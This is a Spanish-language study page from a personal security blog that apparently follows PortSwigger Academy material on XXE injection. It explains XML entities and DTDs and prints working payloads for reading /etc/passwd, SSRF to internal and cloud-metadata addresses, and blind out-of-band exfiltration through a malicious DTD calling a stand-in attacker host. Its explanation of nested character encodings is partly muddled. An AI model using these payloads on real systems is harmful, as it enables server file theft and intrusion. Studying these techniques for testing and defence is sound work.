JF0x0r's Blog
PortfolioBug Hunter ProfileGithub
  • Whoami
  • Aprender Go
    • 🐺¿Qué es GO 🦊
    • 🧠Packages
    • 🎃Modules
    • 🐢Variable - Tipos de Datos
    • 🧌Operadores Matematicos - Lógicos
    • 🥥Flujo If, For, While, Switch
    • 🌼Struct - Methods vs Functions
    • 📽️POO (Programming Oriented Object)
    • 🐯Interface - Interfaces
    • 🎱Punteros * &
    • 🐸Vectores/Arrays, Slices y Maps
    • 🫀El uso de Make en channels, slices, maps
    • 🧛‍♀️Errores en Go - Uso de err ≠ nil
    • 👁️GO Defer
    • 🦷GO Panic
    • 🦋GO Recover
    • 🐦Structs
    • 🐔WaitGroups Go
  • Pentester Lab
  • Guía de Estudio Hacking
  • Bug Bounty
    • 🍓Adobe
    • 🚀Nasa VDP
    • 🧀Figma
      • 🐙User Enumeration via Authentication Flow - Email Exposure
    • 🫐Syfe
    • 🍉Etoro
    • 🥭Glance Networks
  • PortSwigger WebAcademy
    • Server Side Topics
      • SQL Injection
        • 🐔Laboratorio: Inyección SQL ciega
        • 🍫Laboratorio: Datos Ocultos - Aprendiz
        • 🦍Laboratorio: Omitir inicio de sesión Bypass
        • 🔏Laboratorio: Calcular numero Columnas con UNION
        • 🪖Laboratorio: ataque UNION de inyección SQL , búsqueda de una columna que contiene texto
        • 🐧Laboratorio: ataque UNION de inyección SQL , recuperando datos de otras tablas
        • 🧛Laboratorio: ataque UNION de inyección SQL , recuperando múltiples valores en una sola columna
        • 🐬Laboratorio: Inyección SQL con errores condicionales
        • 🐈‍⬛Laboratorio: Inyección SQL basada en errores visibles
        • 💃Laboratorio: Inyección SQL ciega con retrasos de tiempo
        • 🐆Laboratorio: Inyección SQL ciega con retardos de tiempo y recuperación de información
        • 👑Laboratorio: Inyección SQL ciega con interacción fuera de banda
        • 🏞️Laboratorio: ataque de inyección SQL, consulta del tipo y versión de la base de datos en Oracle
        • 🪻Laboratorio: ataque SQLi, consulta del tipo y versión de la base de datos en MySQL y Microsoft
        • 💀Laboratorio: ataque de inyección SQL, enumerando el contenido de la base de datos en bases de datos
        • 🧀Laboratorio: Inyección SQL con omisión de filtro mediante codificación XML
      • Authentication
        • 🐟Laboratorio: Enumeracion de usernames via diferentes responses
        • 👩‍🦽Laboratorio: enumeración de nombres de usuario a través de respuestas sutilmente diferentes
        • ™️Laboratorio: enumeración de nombres de usuario mediante tiempos de respuesta
        • 🦷Laboratorio: protección de fuerza bruta rota, bloqueo de IP
        • 🧢Laboratorio: enumeración de nombres de usuario mediante bloqueo de cuenta
        • 🦠Laboratorio: protección de fuerza bruta rota, múltiples credenciales por solicitud
        • 🐛Laboratorio: bypass simple 2FA
        • 🐯Laboratorio: lógica rota 2FA
        • 👓Laboratorio: 2FA bypass usando un ataque por fuerza bruta
        • 👽Lab: Brute-forcing a stay-logged-in cookie
        • 🦋Laboratorio: Offline password cracking
        • 🧌Laboratorio: Password reset broken logic
        • 👁️Laboratorio: Basic password reset poisoning
        • 👂Laboratorio: Password reset poisoning via middleware
        • 🥻Laboratorio: Fuerza bruta de contraseña mediante cambio de contraseña
        • 🫁Laboratorio: Envenenamiento por restablecimiento de contraseña mediante etiquetas colgantes
      • Path Traversal
        • 🛻Laboratorio: File path traversal, simple case
        • 🦅Laboratorio: File path traversal, traversal sequences blocked with absolute path bypass
        • 🦉Laboratorio: recorrido de ruta de archivo , secuencias transversales eliminadas de forma no recursiv
        • 🍊Laboratorio: File path traversal, traversal sequences stripped with superfluous URL-decode
        • 🕷️Laboratorio: File path traversal, validation of file extension with null byte bypass
      • Command Injection OS
        • 🖥️Laboratorio: OS command injection, simple case
        • 🐹Laboratorio: Blind OS command injection with time delays
        • 👹Blind OS command injection with output redirection
        • 🧛‍♂️Laboratorio: Inyección ciega de comandos del SO con exfiltración de datos fuera de banda
        • 🦟Laboratorio: Inyección ciega de comandos del sistema operativo con interacción fuera de banda
      • Business Logic Vulnerabilities
        • 🧝‍♂️Laboratorio: Confianza excesiva en los controles del lado del cliente
        • 🧙‍♂️Laboratorio: Vulnerabilidad lógica de alto nivel
        • 🤩Laboratorio: Vulnerabilidad falla lógica de bajo nivel
        • 🎻Laboratorio: Manejo inconsistente de entradas excepcionales
        • 🏓Laboratorio: Inconsistent security controls
        • 🥭Laboratorio: Aislamiento débil en terminales de doble uso
        • 🧑‍✈️Laboratorio: Validación de flujo de trabajo insuficiente
        • 📀Laboratorio: Omisión de autenticación a través de una máquina de estado defectuosa
        • 🐦‍⬛Laboratorio: Aplicación defectuosa de las reglas comerciales
        • 🌵Laboratorio: falla en la lógica del dinero infinito
        • 🥑Laboratorio: omisión de autenticación mediante Oracle de cifrado
        • 🧊Lab: Bypassing access controls using email address parsing discrepancies
      • Information Disclosure Vulnerabilities
        • 🧟Laboratorio: Divulgación de información en mensajes de error
        • 🌵Laboratorio: divulgación de información en la página de depuración
        • 🍅Laboratorio: Divulgación del código fuente a través de archivos de respaldo
        • 🤿Laboratorio: omisión de autenticación mediante divulgación de información
        • 🏑Laboratorio: Divulgación de información en el historial de control de versiones
      • SSRF - Server-Side Request Forgery
        • 🧅Laboratorio: SSRF básico frente a otro sistema back-end
        • 🐮Laboratorio: SSRF con filtro de entrada basado en lista negra
        • 🌶️Laboratorio: SSRF con filtro de entrada basado en lista blanca
        • 💽Laboratorio: SSRF with filter bypass via open redirection vulnerability
        • ☎️Laboratorio: SSRF ciega con detección fuera de banda
        • 🥬Laboratorio: SSRF ciega con explotación Shellshock
        • 🐦Laboratorio: SSRF básico contra el servidor local
      • Acess Control
        • 🍑Laboratorio: funcionalidad de administración desprotegida
        • 🍉Laboratorio: funcionalidad de administración desprotegida con URL impredecible
        • 🐱Laboratorio: rol de usuario controlado por el parámetro de solicitud
        • 🐒Laboratorio: La función del usuario se puede modificar en el perfil del usuario
        • 🐴Laboratorio: el control de acceso basado en URL se puede eludir
        • 🍋Laboratorio: El control de acceso basado en métodos se puede eludir
        • 🎾Laboratorio: ID de usuario controlado por parámetro de solicitud
        • 🧆Laboratorio: ID de usuario controlado por parámetro de solicitud, con ID de usuario impredecibles
        • 🦑Laboratorio: ID de usuario controlado por parámetro de solicitud con fuga de datos en redirección
        • 😎Laboratorio: ID de usuario controlado por parámetro de solicitud con divulgación de contraseña
        • 🍗Laboratorio: Referencias directas a objetos inseguros
        • 🧀Laboratorio: proceso de varios pasos sin control de acceso en un solo paso
        • ⛄Laboratorio: Control de acceso basado en referentes
      • File Upload Vulnerabilities
        • 🛼Laboratorio: ejecución remota de código mediante carga de shell web
        • 🥦Laboratorio: carga de shell web mediante omisión de restricción de tipo de contenido
        • ⛵Laboratorio: carga de shell web mediante recorrido de ruta
        • 🛝Laboratorio: carga de shell web mediante omisión de la lista negra de extensiones
        • ⚾Laboratorio: carga de shell web a través de una extensión de archivo ofuscada
        • 🪖Laboratorio: carga de shell web mediante condición de carrera
      • Web Cache Deception
        • 🧀Laboratorio: Explotación del mapeo de rutas para el engaño de caché web
        • 🍨Laboratorio: Explotación de delimitadores de ruta para el engaño de caché web (v2)
        • 🪇Laboratorio: Explotación de la normalización del servidor de origen para el engaño de la caché web
        • 🍺Laboratorio: Explotación de la normalización del servidor de caché para el engaño de la caché web
        • ⚽Laboratorio: Explotación de reglas de caché de coincidencia exacta para el engaño de caché web
      • API Testing
        • 🥨Laboratorio: Explotación de un punto final de API mediante documentación
        • 🛝Laboratorio: Cómo encontrar y explotar un punto final de API no utilizado
        • 🧤Laboratorio: Explotación de una vulnerabilidad de asignación masiva
        • 🍒Laboratorio: Explotación de la contaminación de parámetros del lado del servidor en una cadena de co
        • 🥕Laboratorio: Explotación de la contaminación de parámetros del lado del servidor en una URL REST
      • XXE Injection - XML Entity
        • 🏸Laboratorio: Exploiting XXE using external entities to retrieve files
        • 🥾Laboratorio: Exploiting XXE to perform SSRF attacks
        • 🧑‍🎤Laboratorio: Blind XXE with out-of-band interaction
        • 🦉Laboratorio: Blind XXE with out-of-band interaction via XML parameter entities
        • 🌋Laboratorio: Exploiting blind XXE to exfiltrate data using a malicious external DTD
        • 👾Laboratorio: Exploiting blind XXE to retrieve data via error messages
        • 🌍Laboratorio: Exploiting XXE to retrieve data by repurposing a local DTD
        • 🫀Laboratorio: Exploiting XInclude to retrieve files
        • 👁️Laboratorio: Exploiting XXE via image file upload
      • Race Conditions
        • 🗣️Mutexes Golang
        • ⛸️Laboratorio: Limit overrun race conditions
        • 👽Laboratorio: Bypassing rate limits via race conditions
        • 👩‍🦯Laboratorio: Multi-endpoint race conditions
        • 🧢Laboratorio: Single-Endpoint Race Conditions
        • 🐛Laboratorio: Partial Construction Race Condition
        • 🔩Laboratorio: Exploiting time-sensitive vulnerabilities
      • No-SQL Injection
        • 🪱Laboratorio: Detecting NoSQL injection
        • 💼Laboratorio: Exploiting NoSQL operator injection to bypass authentication
        • 🪖Laboratorio: Exploiting NoSQL injection to extract data
        • 🦺Laboratorio: Exploiting NoSQL operator injection to extract unknown fields
    • Client Side Topics
      • Cross-site scripting (XSS)
        • XSS Reflected
          • ⛑️Laboratorio: XSS reflejado en contexto HTML sin nada codificado
        • XSS Based DOM
          • 🍖Laboratorio: DOM XSS en document.write, el receptor usando la fuente location.search
        • XSS Stored
          • 🪢Laboratorio: Stored XSS into HTML context with nothing encoded
          • 🥌Laboratorio: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded
    • Advanced Topics
      • 0Auth
      • Insecure Deserialization
        • 🧀Laboratorio: Modificar objetos en serie
        • 🧅Laboratorio: Modificar los tipos de datos en serie
        • 🎋Laboratorio: Usando funcionalidad de la aplicación para explotar la desserialización insegura
        • 🎯Laboratorio: Inyección arbitraria de objetos en PHP
        • 🍿Laboratorio: Inyección arbitraria de objetos en PHP
        • 🕸️Laboratorio: Exploiting Java deserialization with Apache Commons
        • 🥷Laboratorio: Exploiting PHP deserialization with a pre-built gadget chain
        • 🏈Laboratorio: Exploiting Ruby deserialization using a documented gadget chain
        • 🎄Laboratorio: Desarrollo de una cadena de gadget personalizada para la deserialización de Java
        • 👨‍🦽Laboratorio: Desarrollo una cadena de gadget personalizada para la deserialización de PHP
  • Hacking Certifications
    • ACP - APISec University
      • 🌍API Security Fundamentals 2025
      • 🫀OWASP API Security Top 10 and Beyond!
      • 🏓API Authentication
      • 🥥API Documentation Best Practices
      • 🌲Securing API Servers
Powered by GitBook
On this page
  • Qué es la inyección de la entidad externa XML?
  • Cómo surgen vulnerabilidades XXE?
  • Qué son las entidades XML?
  • Qué es la definición de tipo de documento?
  • Qué son las entidades personalizadas de XML?
  • Qué son las entidades externas XML?
  • Cuáles son los tipos de ataques XXE?
  • 1. Explotando XXE para recuperar archivos
  • Explotando XXE para realizar ataques de la SSRF
  • Vulnerabilidades XXE Ciegas “Blind XXE” →
  • Qué es el XXE ciego?
  • Detectar a ciegas XXE utilizando técnicas fuera de banda (OAST)
  • Relación entre XML y AJAX:
  • Explotando a ciegas XXE para exfiltrar datos fuera de banda
  • ¿Qué significa el % ? que lo usamos en nuestros DTD de ataques :
  • Explotando a ciegas XXE para recuperar datos a través de mensajes de error
  • Explotando un XXE Ciego con la reutilización de un documento DTD Local →
  • Algo super importante, que son esos % o ' ?
  1. PortSwigger WebAcademy
  2. Server Side Topics

XXE Injection - XML Entity

XML significa "lenguaje de marcado extensible". XML es un lenguaje diseñado para almacenar y transportar datos.

PreviousLaboratorio: Explotación de la contaminación de parámetros del lado del servidor en una URL RESTNextLaboratorio: Exploiting XXE using external entities to retrieve files

Last updated 2 months ago

¿Qué es XML?

XML significa "lenguaje de marcado extensible". XML es un lenguaje diseñado para almacenar y transportar datos. Al igual que HTML, XML utiliza una estructura de etiquetas y datos similares a árboles. A diferencia de HTML, XML no usa etiquetas predefinidas, por lo que las etiquetas pueden recibir nombres que describan los datos. Anteriormente en la historia de la web, XML estaba de moda como un formato de transporte de datos (el "X" en "AJAX" significa "XML"). Pero su popularidad ha declinado ahora a favor del formato JSON.

En esta sección explicaremos cuál es la inyección de la entidad externa XML, describiremos algunos ejemplos comunes, explicaremos cómo encontrar y explotar varios tipos de inyección XXE, y resumiremos cómo prevenir los ataques de inyección XXE.

  • Extensible Markup Languaje: X-M-L

<!DOCTYPE test [<!ENTITY xxe SYSTEM "<http://169.254.169.254/>">]>
No olvidar llamar la variable &xxe; dentro de <productId>&xxe;<productId/>

Qué es la inyección de la entidad externa XML?

La inyección de entidad externa XML (también conocida como XXE) es una vulnerabilidad de seguridad web que permite a un atacante interferir con el procesamiento de datos XML de una aplicación. A menudo permite a un atacante ver archivos en el sistema de archivos del servidor de aplicaciones, e interactuar con cualquier sistema de back-end o externo al que la propia aplicación pueda acceder. En algunas situaciones, un atacante puede escalar un ataque XXE para comprometer el servidor subyacente u otra infraestructura de back-end, aprovechando la vulnerabilidad XXE para realizar ataques de falsificación de solicitud del lado del servidor (SSRF).

Cómo surgen vulnerabilidades XXE?

Algunas aplicaciones utilizan el formato XML para transmitir datos entre el navegador y el servidor. Aplicaciones que lo hacen virtualmente utilizan una biblioteca estándar o API de plataforma para procesar los datos XML en el servidor. Las vulnerabilidades XXE surgen porque la especificación XML contiene varias características potencialmente peligrosas, y los parsers estándar soportan estas características incluso si normalmente no son utilizados por la aplicación.

Qué son los Parsers?

Pero y qué son los DTD?

Qué son las entidades XML?

Las entidades XML son una forma de representar un elemento de datos dentro de un documento XML, en lugar de usar los datos en sí. Varias entidades están incorporadas a la especificación del lenguaje XML. Por ejemplo, las entidades &lt;y &gt;representan los personajes <y >. Estos son metacaracteres utilizados para denotar etiquetas XML, por lo que generalmente deben estar representados usando sus entidades cuando aparecen dentro de los datos.

Qué es la definición de tipo de documento?

La definición de tipo de documento XML (DTD) contiene declaraciones que pueden definir la estructura de un documento XML, los tipos de valores de datos que puede contener y otros ítems. La DTD se declara dentro de lo opcional DOCTYPEelemento al inicio del documento XML. El DTD puede ser totalmente autónomo dentro del propio documento (conocido como "DTD interno") o puede ser cargado de otra parte (conocido como un "dTD externo") o puede ser híbrido de los dos.

Qué son las entidades personalizadas de XML?

XML permite definir entidades personalizadas dentro de la DTD. Por ejemplo:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

Esta definición significa que cualquier uso de la referencia de la entidad &myentity;dentro del documento XML se sustituirá por el valor definido: "my entity value".

Qué son las entidades externas XML?

Las entidades externas XML son un tipo de entidad personalizada cuya definición se encuentra fuera de la DTD, donde se declaran.

La declaración de una entidad externa utiliza la SYSTEMpalabra clave y debe especificar una URL a partir de la cual se debe cargar el valor de la entidad. Por ejemplo:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "<http://normal-website.com>" > ]>

La URL puede utilizar el file://protocolo, y por lo tanto las entidades externas se pueden cargar desde el archivo. Por ejemplo:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

Las entidades externas XML proporcionan los medios primarios por los que surgen ataques de entidad externa XML.

  • Las entidades externas XML basicamente son entidades personalizadas cuyos valores definidos se cargan por fuera de la DTD en el que se declaran.

Cuáles son los tipos de ataques XXE?

Hay varios tipos de ataques XXE:

  • Explotando XXE para recuperar archivos, cuando una entidad externa se define conteniendo el contenido de un archivo, y devuelta en la respuesta de la aplicación.

  • Explotando XXE para realizar ataques SSRF, donde una entidad externa se define en base a una URL a un sistema de back-end.

  • Explotando a ciegas XXE exfiltrate datos fuera de banda, donde los datos sensibles se transmiten desde el servidor de aplicaciones a un sistema que el atacante controla.

  • Explotando a ciegas XXE para recuperar datos a través de mensajes de error, donde el atacante puede desencadenar un mensaje de error que contiene datos sensibles.

1. Explotando XXE para recuperar archivos

Para realizar un ataque de inyección XXE que recupera un archivo arbitrario desde el sistema de archivos del servidor, debe modificar el XML enviado de dos maneras:

  • Introducir (o editar) a DOCTYPEelemento que define una entidad externa que contiene la ruta al archivo.

  • Edite un valor de datos en el XML que se devuelta en la respuesta de la aplicación, para hacer uso de la entidad externa definida.

Por ejemplo, supongamos que una aplicación de compra comprueba el nivel de existencias de un producto someto al servidor el siguiente XML:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

La aplicación no realiza defensas particulares contra los ataques XXE, por lo que puede explotar la vulnerabilidad XXE para recuperar el /etc/passwdarchivo mediante la presentación de la carga útil XXE siguiente:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Esta carga útil define una entidad externa &xxe;cuyo valor sea el contenido de la /etc/passwdarchivo y utiliza la entidad dentro de la productIdvalor. Esto hace que la respuesta de la aplicación incluya el contenido del archivo:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Con vulnerabilidades XXE del mundo real, a menudo habrá un gran número de valores de datos dentro del XML presentado, cualquiera de los cuales podría ser utilizado dentro de la respuesta de la aplicación. Para probar sistemáticamente las vulnerabilidades XXE, generalmente necesitará probar cada nodo de datos en el XML individualmente, haciendo uso de su entidad definida y viendo si aparece dentro de la respuesta.


Explotando XXE para realizar ataques de la SSRF

Aparte de la recuperación de datos sensibles, el otro impacto principal de los ataques XXE es que se pueden utilizar para realizar la falsificación de solicitudes de la parte del servidor (SSRF). Esta es una vulnerabilidad potencialmente grave en la que la aplicación del lado del servidor puede ser inducida para hacer solicitudes HTTP a cualquier URL a la que el servidor pueda acceder.

Para explotar una vulnerabilidad XXE para realizar un ataque SSRF, necesita definir una entidad XML externa usando la URL que desea dirigir y utilizar la entidad definida dentro de un valor de datos. Si puede utilizar la entidad definida dentro de un valor de datos que se devuelve en la respuesta de la aplicación, entonces podrá ver la respuesta desde la URL dentro de la respuesta de la aplicación, y así obtener interacción bidentro con el sistema de back-end. Si no, entonces sólo podrá realizar ataques ciegos de la SSRF (que todavía pueden tener consecuencias críticas).

En el siguiente ejemplo XXE, la entidad externa hará que el servidor haga una solicitud HTTP de back-end a un sistema interno dentro de la infraestructura de la organización:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Vulnerabilidades XXE Ciegas “Blind XXE” →

Muchos ejemplos de vulnerabilidades XXE son ciegos. Esto significa que la aplicación no devuelve los valores de ninguna entidad externa definida en sus respuestas, por lo que no es posible la recuperación directa de archivos del lado del servidor. Las vulnerabilidades ciegas XXE todavía se pueden detectar y explotar, pero se requieren técnicas más avanzadas. A veces puedes usar técnicas fuera de banda para encontrar vulnerabilidades y explotarlas para exfiltrar datos. Y a veces puede desencadenar errores de análisis XML que conducen a la divulgación de datos sensibles dentro de los mensajes de error.

Con esto queda claro entonces que las Blind XXE no se basan en lo que podamos añadir a los valores de datos llamando a la entidad externa ya que no mostrará nada (pero si lo añadimos igualmente con el fin de ver los posibles errores, o respuesta de XML directamente), en cambio tendremos que guiarnos por otras tecnicas, o analizando los tiempos a las solicitudes que hagamos. (Interacciones fuera de banda) burpcollaborator, exploit-server.

Qué es el XXE ciego?

Las vulnerabilidades ciegas XXE surgen cuando la aplicación es vulnerable a la inyección XXE, pero no devuelve los valores de ninguna entidad externa definida dentro de sus respuestas. Esto significa que la recuperación directa de archivos del lado del servidor no es posible, por lo que el XXE ciego es generalmente más difícil de explotar que las vulnerabilidades XXE regulares.

Hay dos maneras amplias en las que puedes encontrar y explotar las vulnerabilidades de XXE ciegos:

  • Puede activar interacciones de red fuera de banda, a veces exfiltrando datos sensibles dentro de los datos de interacción.

  • Puede desencadenar errores de análisis de XML de tal manera que los mensajes de error contengan datos sensibles.

Detectar a ciegas XXE utilizando técnicas fuera de banda (OAST)

A menudo se puede detectar XXE ciego usando la misma técnica que para los ataques de XXE SSRF, pero desencadenando la interacción de red fuera de banda a un sistema que controla. Por ejemplo, definiría una entidad externa de la siguiente manera:

<!DOCTYPE foo [ <!ENTITY **xxe** SYSTEM "<http://f2g9j7hhkax.web-attacker.com>"> ]>

A continuación, haría uso de la entidad definida en un valor de datos dentro del XML. Este ataque XXE hace que el servidor haga una solicitud HTTP de back-end a la URL especificada. El atacante puede monitorear la solicitud de la luciendo DNS resultante y HTTP, y así detectar que el ataque XXE fue exitoso.


A veces, los ataques XXE con entidades regulares están bloqueados, debido a cierta validación de entrada por la aplicación o a algún endurecimiento del analizador XML que se está utilizando. En esta situación, es posible que pueda utilizar entidades de parámetros XML en su lugar. Las entidades de parámetros XML son un tipo especial de entidad XML que solo se puede hacer referencia a otra parte dentro de la DTD. Para los propósitos actuales, sólo necesitas saber dos cosas. En primer lugar, la declaración de una entidad de parámetro XML incluye el carácter porcentual antes del nombre de la entidad:

<!ENTITY % myparameterentity "my parameter entity value" >

Y en segundo lugar, se hace referencia a las entidades de parámetros utilizando el carácter del porcentaje en lugar de los ampersand habituales:

%myparameterentity;

Esto significa que puede probar para la persiana XXE utilizando la detección fuera de banda a través de entidades de parámetros XML de la siguiente manera:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "<http://f2g9j7hhkax.web-attacker.com>"> %xxe; ]>

Esta carga útil XXE declara una entidad de parámetro XML llamada xxey luego utiliza la entidad dentro de la DTD. Esto causará una mirada de DNS y una petición HTTP al dominio del atacante, verificando que el ataque fue exitoso.


Relación entre XML y AJAX:

  • Componentes Clave:

    • Los componentes fundamentales de AJAX incluyen:

      • JavaScript: Para manejar la lógica y manipular el DOM.

      • XMLHttpRequest: Para realizar las solicitudes HTTP.

      • XML o JSON: Para estructurar los datos intercambiados entre el cliente y el servidor.

  • Ejemplo de Uso:

    • Un ejemplo común es un sitio web de redes sociales donde las publicaciones nuevas se cargan dinámicamente sin recargar la página completa, mejorando así la fluidez y rapidez del sitio.

Explotando a ciegas XXE para exfiltrar datos fuera de banda

La detección de una vulnerabilidad de XXE ciego a través de técnicas fuera de banda está muy bien, pero en realidad no demuestra cómo se podría explotar la vulnerabilidad. Lo que un atacante realmente quiere lograr es exfiltrar datos sensibles. Esto se puede lograr a través de una vulnerabilidad ciega XXE, pero implica que el atacante alojar un DTD malicioso en un sistema que controlan, y luego invocando el DTD externo desde dentro de la carga útil XXE en banda.

Un ejemplo de DTD malicioso para exfiltrar el contenido de la /etc/passwdarchivo es el siguiente:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Esta DTD lleva a cabo los siguientes pasos:

  • Define una entidad de parámetro XML llamada file, que contiene el contenido de la /etc/passwdArchivo.

  • Define una entidad de parámetro XML llamada eval, que contiene una declaración dinámica de otra entidad de parámetro XML llamada exfiltrate. El exfiltrateentidad será evaluada haciendo una solicitud HTTP al servidor web del atacante que contiene el valor de la fileentidad dentro de la cadena de consulta URL.

  • Utiliza el evalentidad, que provoca la declaración dinámica de la exfiltrateentidad a realizar.

  • Utiliza el exfiltrateentidad, de modo que su valor se evalúa solicitando la URL especificada.

¿Qué significa el &#x25; ? que lo usamos en nuestros DTD de ataques :

Bueno basicamente es la representación hexadecimal del simbolo % como sabemos en los DTD cuando queremos nombrar una entidad parametro lo definimos como <!DOCTYPE foo [ <!ENTITY %xxe SYSTEM ahi lo tengo en verde.


El atacante debe entonces albergar el DTD malicioso en un sistema que controlan, normalmente cargando en su propio servidor web. Por ejemplo, el atacante podría servir al DTD malicioso en la siguiente URL:

<http://web-attacker.com/malicious.dtd>

Por último, el atacante deberá presentar la siguiente carga útil XXE a la aplicación vulnerable:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"<http://web-attacker.com/malicious.dtd>"> %xxe;]>

Esta carga útil XXE declara una entidad de parámetro XML llamada xxey luego utiliza la entidad dentro de la DTD. Esto hará que el analizador XML alimente el DTD externo del servidor del atacante e interpretarlo en línea. Los pasos definidos dentro del DTD malicioso se ejecutan luego, y el /etc/passwdEl archivo se transmite al servidor del atacante.

Esta técnica podría no funcionar con algunos contenidos de archivos, incluyendo los nuevos caracteres de línea contenidos en el /etc/passwdArchivo. Esto se debe a que algunos parsers XML obtienen la URL en la definición de entidad externa usando una API que valida los caracteres que se permiten aparecer dentro de la URL. En esta situación, podría ser posible utilizar el protocolo FTP en lugar de HTTP. A veces, no será posible exfiltrar los datos que contienen nuevos caracteres, y por lo tanto un archivo como /etc/hostnamepuede ser el objetivo en su lugar.

BurpCollaborator XXE ATTACKS:


Explotando a ciegas XXE para recuperar datos a través de mensajes de error

Un enfoque alternativo para explotar la persiana XXE es desencadenar un error de parsing XML donde el mensaje de error contiene los datos sensibles que desea recuperar. Esto será eficaz si la aplicación devuelve el mensaje de error resultante dentro de su respuesta. Puede activar un mensaje de error de análisis XML que contiene el contenido del /etc/passwdArchivo usando un DTD externo malicioso de la siguiente manera:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Esta DTD lleva a cabo los siguientes pasos:

  • Define una entidad de parámetro XML llamada file, que contiene el contenido de la /etc/passwdArchivo.

  • Define una entidad de parámetro XML llamada eval, que contiene una declaración dinámica de otra entidad de parámetro XML llamada error. El errorentidad será evaluada cargando un archivo inexistente cuyo nombre contenga el valor de la fileentidad.

  • Utiliza el evalentidad, que provoca la declaración dinámica de la errorentidad a realizar.

  • Utiliza el errorentidad, de modo que su valor se evalúa intentando cargar el archivo inexistente, resultando en un mensaje de error que contiene el nombre del archivo inexistente, que es el contenido de la /etc/passwdArchivo.

Invocar el DTD externo malicioso resultará en un mensaje de error como el siguiente:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Explotando un XXE Ciego con la reutilización de un documento DTD Local →

La técnica anterior funciona bien con un DTD externo, pero normalmente no funcionará con un DTD interno que está completamente especificado dentro de la DOCTYPEelemento. Esto se debe a que la técnica implica el uso de una entidad de parámetro XML dentro de la definición de otra entidad de parámetro. Según la especificación XML, esto está permitido en DTD externos, pero no en DTDs internos. (Algunos paristas pueden tolerarlo, pero muchos no.)

Así que qué pasa con las vulnerabilidades ciegas de XXE cuando las interacciones fuera de banda están bloqueadas? No puedes exfiltrar los datos a través de una conexión fuera de banda, y no puedes cargar un DTD externo desde un servidor remoto.

En esta situación, todavía podría ser posible activar los mensajes de error que contienen datos sensibles, debido a una laguna en la especificación del lenguaje XML. Si el DTD de un documento utiliza un híbrido de declaraciones DTD internas y externas, entonces el DTD interno puede redefinir las entidades que se declaran en el DTD externo. Cuando esto sucede, la restricción de usar una entidad de parámetro XML dentro de la definición de otra entidad de parámetro se relaja.

Esto significa que un atacante puede emplear la técnica XXE basada en errores dentro de un DTD interno, siempre que la entidad del parámetro XML que utilizan esté redefiniendo una entidad que se declara dentro de una DTD externa. Por supuesto, si las conexiones fuera de banda están bloqueadas, entonces el DTD externo no se puede cargar desde una ubicación remota. En su lugar, debe ser un archivo DTD externo que sea local para el servidor de la aplicación. Esencialmente, el ataque implica invocar un archivo DTD que sucede en el sistema de archivos local y repurposarlo para redefinir una entidad existente de una manera que desencadene un error de parsing que contiene datos sensibles. Esta técnica fue pionera por Arseniy Sharoglazov, y se clasió al puesto 7 en nuestras 10 mejores técnicas de hacking web de 2018.

Por ejemplo, supongamos que hay un archivo DTD en el sistema de archivos del servidor en la ubicación /usr/local/app/schema.dtd, y este archivo DTD define una entidad llamada custom_entity. Un atacante puede activar un mensaje de error de pareding XML que contiene el contenido del /etc/passwdarchivo mediante la presentación de un DTD híbrido como el siguiente:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Esta DTD lleva a cabo los siguientes pasos:

  • Define una entidad de parámetro XML llamada local_dtd, que contiene el contenido del archivo DTD externo que existe en el sistema de archivos del servidor.

  • Redefinas de la entidad del parámetro XML llamada custom_entity, que ya está definido en el archivo DTD externo. La entidad se redefine como que contiene el exploit XXE basado en errores que ya fue descrito, para activar un mensaje de error que contiene el contenido de la /etc/passwdArchivo.

  • Utiliza el local_dtdentidad, de modo que se interprete el DTD externo, incluido el valor redefinido de la custom_entityentidad. Esto resulta en el mensaje de error deseado.

Algo super importante, que son esos &#x26;#x25; o &#x27; ?

Bueno basicamente son caracteres codificados a hexadecimal para el procesamiento en el XML, el desglose de que son va así:

Desglose de las Entidades

  1. &#x25;:

    • Esta es la representación hexadecimal del carácter %.

    • En ASCII, el valor decimal de % es 37, y su representación hexadecimal es 25.

    • Por lo tanto, &#x25; se traduce directamente como el carácter %.

  2. &#x26;#x25;:

    • Esta entidad es un poco más compleja. Se descompone en dos partes:

      • &#x26;: Esto representa el carácter & (ampersand). En hexadecimal, el valor para & es 26.

      • #x25: Esto representa el carácter %, como se explicó anteriormente.

    • Juntas, forman la cadena &%, que se utiliza en el contexto del código para construir una declaración dinámica de la entidad parametro que se invoca dentro de la definición de la entidad parametro.

  3. &#x27;:

    • Esta entidad representa el carácter ' (apóstrofe o comilla simple).

    • En ASCII, el valor decimal de ' es 39, y su representación hexadecimal es 27.

    • Por lo tanto, &#x27; se traduce directamente como el carácter ' por ejemplo SYSTEM 'file:///etc/passwd' son esas comillas simples.

Localización de un archivo DTD existente para reutilizar

